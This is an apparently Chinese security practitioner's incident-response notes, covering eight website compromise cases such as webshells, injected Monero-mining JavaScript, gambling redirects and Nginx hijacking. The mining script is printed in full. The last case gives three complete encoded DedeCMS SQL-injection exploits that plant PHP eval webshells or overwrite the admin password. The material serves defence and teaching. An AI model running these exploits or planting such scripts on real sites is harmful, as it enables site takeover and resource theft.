当我还在做安服的时候,我的主要工作是渗透测试和应急响应。两年前,我开始着手去整理一些应急响应案例,脱敏保留特定特征的场景,试图以最简单直观的方式去还原一个个应急场景。
现在,我将这些文档通过另一种更加开放的形式进行分享,欢迎 Star,欢迎 issue。
- GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes
- GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes/
项目介绍
面对各种各样的安全事件,我们该怎么处理?
这是一个关于安全事件应急响应的项目,从系统入侵到事件处理,收集和整理了一些案例进行分析。
我将持续更新这份笔记,希望能帮到有需要的人。
如果你看到好的案例,欢迎通过 issue 提交,欢迎 Star 予以支持。
第 1 篇:网站被植入 Webshell
网站被植入 webshell,意味着网站存在可利用的高危漏洞,攻击者通过利用漏洞入侵网站,写入 webshell 接管网站的控制权。为了得到权限 ,常规的手段如:前后台任意文件上传,远程命令执行,Sql 注入写入文件等。
1. 现象描述
网站管理员在站点目录下发现存在 webshell,于是开始了对入侵过程展开了分析。
Webshell 查杀工具:
- D 盾_Web 查杀 Window下webshell 查杀:http://www.d99net.net/index.asp
- 河马:支持多平台,但是需要联网环境。
- 使用方法:wget http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz tar xvf hm-linux-amd64.tgz hm scan /www
2. 事件分析
(1) 定位时间范围
通过发现的 webshell 文件创建时间点,去翻看相关日期的访问日志。
(2) Web 日志分析
经过日志分析,在文件创建的时间节点并未发现可疑的上传,但发现存在可疑的 webservice 接口
(3) 漏洞分析
访问 webservice 接口,发现变量:buffer、distinctpach、newfilename 可以在客户端自定义
(4) 漏洞复现
尝试对漏洞进行复现,可成功上传 webshell,控制网站服务器
(5) 漏洞修复
清除 webshell 并对 webservice 接口进行代码修复。
从发现 webshell 到日志分析,再到漏洞复现和修复,本文暂不涉及溯源取证方面。
第 2 篇:门罗币恶意挖矿
门罗币 (Monero 或 XMR),它是一个非常注重于隐私、匿名性和不可跟踪的加密数字货币。只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。
1. 现象描述
利用 XMR 恶意挖矿,会大量占用用户的 CPU 资源,严重影响了网站的用户体验。
从 08/09 日 0 点开始,局域网内某 IP 访问网站页面会触发安全预警,只要访问此服务器上的网页,CPU 直线上升100%
2. 问题解析
通过获取恶意网页 url,对网页页面进行分析,发现网站页面被植入在线门罗币挖矿代码:
- <script> var script = document.createElement('script'); script.onload = function () { // XMR Pool hash var m = new CoinHive.Anonymous('BUSbODwUSryGnrIwy3o6Fhz1wsdz3ZNu'); // TODO: Replace the below string with wallet string m.start('47DuVLx9UuD1gEk3M4Wge1BwQyadQs5fTew8Q3Cxi95c8W7tKTXykgDfj7HVr9aCzzUNb9vA6eZ3eJCXE9yzhmTn1bjACGK'); }; script.src = 'https://coinhive.com/lib/coinhive.min.js'; document.head.appendChild(script); </script>
删除 js 里面的恶意代码,网站被 XMR 恶意挖矿,服务器已经被攻击,进一步做服务器入侵排查。
第3篇:批量挂黑页
作为一个网站管理员,你采用开源 CMS 做网站,比如 dedecms,但是有一天,你忽然发现不知何时,网站的友情链接模块被挂大量垃圾链接,网站出现了很多不该有的目录,里面全是博彩相关的网页。而且,攻击者在挂黑页以后,会在一些小论坛注册马甲将你的网站黑页链接发到论坛,引爬虫收录。在搜索引擎搜索网站地址时,收录了一些会出现一些博彩页面,严重影响了网站形象。
1. 原因分析
网站存在高危漏洞,常见于一些存在安全漏洞的开源 CMS,利用 0day 批量拿站上传黑页。
2. 现象描述:
某网站被挂了非常多博彩链接,链接形式如下:
- http://www.xxx.com/upload/aomendduchangzaixiandobo/index.html
- http://www.xxx.com/upload/aomendduchangzaixian/index.html
- http://www.xxx.com/upload/aomenzhengguidubowangzhan/index.html
链接可以访问,直接访问物理路径也可以看到文件,但是打开网站目录并没有发现这些文件,这些文件到底藏在了哪?
访问这些链接,跳转到如图页面:
3. 问题处理:
(1) 打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。
(2) 再次查看,可以看到半透明的文件夹,清楚隐藏文件夹及所有页面
(3) 然后清除 IIS 临时压缩文件
- C:\inetpub\temp\IIS Temporary Compressed Files\WEBUI$^_gzip_D^\WEB\WEBUI\UPLOAD
(4) 投诉快照,申请删除相关的网页收录,减少对网站的影响。
第 4 篇:新闻源网站劫持
新闻源网站一般权重较高,收录快,能够被搜索引擎优先收录,是黑灰产推广引流的必争之地,很容易成为被攻击的对象。被黑以后主要挂的不良信息内容主要是博彩六合彩等赌博类内容,新闻源网站程序无论是自主开发的还是开源程序,都有被黑的可能,开源程序更容易被黑。
1. 现象描述:
某新闻源网站首页广告链接被劫持到菠菜网站
有三个广告专题,链接形式如下:
- http://www.xxx.cn/zhuanti/yyysc/index.shtml
- http://www.xxx.cn/zhuanti/wwwsc/index.shtml
- http://www.xxx.cn/zhuanti/zzzsc/index.shtml
点击这三条链接会跳转到博彩网站。简单抓包分析一下过程:
可以发现此时这个返回页面已被劫持,并且加载了第三方 js 文件,http://xn--dpqw2zokj.com/N/js/dt.js
进一步访问该文件:
dt.js 进一步加载了另一条js,访问:http://xn--dpqw2zokj.com/N/js/yz.js
我们发现链接跳转到https://lemcoo.com/?dt
进一步访问这个链接,网站为博彩链接导航网站,访问后会随机跳转到第三方赌博网站。
2. 问题处理:
找到 url 对应的文件位置,即使文件被删除,链接依然可以访问,可以发现三条链接都是以“sc”后缀。
对 Nginx 配置文件进行排查,发现 Nginx 配置文件 VirtualHost.conf 被篡改,通过反向代理匹配以“sc”后缀的专题链接,劫持到 http://103.233.248.163,该网站为博彩链接导航网站。
删除恶意代理后,专题链接访问恢复。
第 5 篇:移动端劫持
PC 端访问正常,移动端访问出现异常,比如插入弹窗、嵌入式广告和跳转到第三方网站,将干扰用户的正常使用,对用户体验造成极大伤害。
1. 现象描述
部分网站用户反馈,手机打开网站就会跳转到赌博网站。
2. 问题处理
访问网站首页,抓取到了一条恶意 js:http://js.zadovosnjppnywuz.com/caonima.js
我们可以发现,攻击者通过这段 js 代码判断手机访问来源,劫持移动端(如手机、ipad、Android等)流量,跳转到
https://262706.com
进一步访问 https://262706.com,跳转到赌博网站:
第 6 篇:搜索引擎劫持
当你直接打开网址访问网站,是正常的,可是当你在搜索引擎结果页中打开网站时,会跳转到一些其他网站,比如博彩,虚假广告,淘宝搜索页面等。是的,你可能了遇到搜索引擎劫持。
1. 现象描述
从搜索引擎来的流量自动跳转到指定的网页
2. 问题处理
通过对 index.php 文件进行代码分析,发现该文件代码 对来自搜狗和好搜的访问进行流量劫持。
进一步跟着 include 函数包含的文件,index,php 包含 /tmp/.ICE-unix/.. /c.jpg。
进入 /tmp 目录进行查看,发现该目录下,如 c.jpg 等文件,包含着一套博彩劫持的程序。
第 7 篇:网站首页被篡改
网站首页被非法篡改,是的,就是你一打开网站就知道自己的网站出现了安全问题,网站程序存在严重的安全漏洞,攻击者通过上传脚本木马,从而对网站内容进行篡改。而这种篡改事件在某些场景下,会被无限放大。
1. 现象描述
网站首页被恶意篡改,比如复制原来的图片,PS 一下,然后替换上去。
2. 问题处理
(1) 确认篡改时间
通过对被篡改的图片进行查看,确认图片篡改时间为 2018 年 04 月 18 日 19:24:07 。
(2) 访问日志溯源
通过图片修改的时间节点,发现可疑IP:113.xx.xx.24 (代理IP,无法追溯真实来源),访问 image.jsp(脚本木马),并随后访问了被篡改的图片地址。
进一步审查所有的日志文件(日志保存时间从 2017-04-20 至 2018-04-19),发现一共只有两次访问 image.jsp 文件的记录,分别是 2018-04-18 和 2017-09-21。
image.jsp在 2017-09-21之 前就已经上传到网站服务器,已经潜藏长达半年多甚至更久的时间。
(3) 寻找真相
我们在网站根目录找到了答案,发现站点目录下存在 ROOT.rar 全站源码备份文件,备份时间为 2017-02-28 10:35。
通过对 ROOT.rar 解压缩,发现源码中存在的脚本木马与网站访问日志的可疑文件名一致(image.jsp)。
根据这几个时间节点,我们尝试去还原攻击者的攻击路径。
但是我们在访问日志并未找到 ROOT.rar 的访问下载记录,访问日志只保留了近一年的记录,而这个 webshell 可能已经存在了多年。
黑客是如何获取 webshell 的呢?
可能是通过下载 ROOT.rar 全站源码备份文件获取到其中存在的木马信息,或者几年前入侵并潜藏了多年,又或者是从地下黑产购买了 shell,我们不得而知。
本文的示例中攻击者为我们留下了大量的证据和记录,而更多时候,攻击者可能会清除所有的关键信息,这势必会加大调查人员的取证难度。
第 8 篇:管理员账号被篡改
你是某一个网站的管理员,有一天,你的管理员账号 admin 却登录不了,进入数据库查看,原来管理员账号用户名不存在了,却多了另外一个管理员用户名。不对,不是新增了管理员,而是你的管理员用户名被篡改了。
1. 现象描述
前后端分离,后台只允许内网访问,管理员账号 admin 却依然被多次被篡改
2. 问题处理
(1) 网站 webshell
在针对网站根目录进行 webshell 扫描,发现存在脚本木马,创建时间为 2018-06-13 04:30:30
(2) 定位 IP
通过木马创建时间, 查看网站访问日志,定位到 IP 为:180.xx.xx.3
(3) 关联分析
全局搜索与该 IP 有关的操作日志:
在脚本木马生成前,有两条比较可疑的访问日志吸引了我们的注意:
- 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=35 HTTP/1.1" 200 67
- 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32
对这段 POC 进行解码,我们发现通过这个 poc 可以往数据库中插入数据,进一步访问 /plus/ad_js.php?aid=19即可在 plus 目录生成 read.php 脚本文件。
解码后:
- cfg_dbprefixmyadSETnormbody= '<?php file_put_contents(''read.php'',''<?php eval($_POST[x]);echo mOon;?>'');?>' WHEREaid` =19 #
综上,可以推测 /plus/download.php 中可能存在 SQL 注入漏洞,接下来,收集网上已公开的有以下 3 种 EXP进行漏洞复现。
3. 漏洞复现
利用方式一:修改后台管理员
(1) 新建管理员账号 test/test123789,可以成功登录网站后台
(2) 构造如下注入 SQL 语句:
- cfg_dbprefixadmin SETuserid='spider',pwd`='f297a57a5a743894a0e4' where id=19 #
修改后台管理员为:用户名 spider,密码 admin。
(3) 对应的 EXP:
- ?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=35
执行 EXP 后,相应后台数据库表变为如下:
(4) 因此相应后台登录用户变为 spider 密码 admin
利用方式二:通过/plus/mytag_js.php文件生成一句话木马php
- 如:构造如下注入 SQL 语句:
- `cfg_dbprefixmytag(aid,expbody,normbody) VALUES(9013,@','{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @'``
- 对应的 EXP:
- ?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
利用方式三:使 /plus/ad_js.php 文件变为一句话木马 php
如:
- 构造如下注入 SQL 语句:
- cfg_dbprefixmyadSETnormbody= '<?php file_put_contents(''read.php'',''<?php eval($_POST[x]);echo mOon;?>'');?>' WHEREaid` =19 #
- /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=35
4. 如何清除?
- 删除网站目录中的 webshell
- 清除 dede_myad、dede_mytag 数据库表中插入的 SQL 语句,防止再次被调用生成 webshell。
5. 如何防御?
网站采用开源 CMS 搭建,建议及时对官方发布的系统补丁以及内核版本进行升级。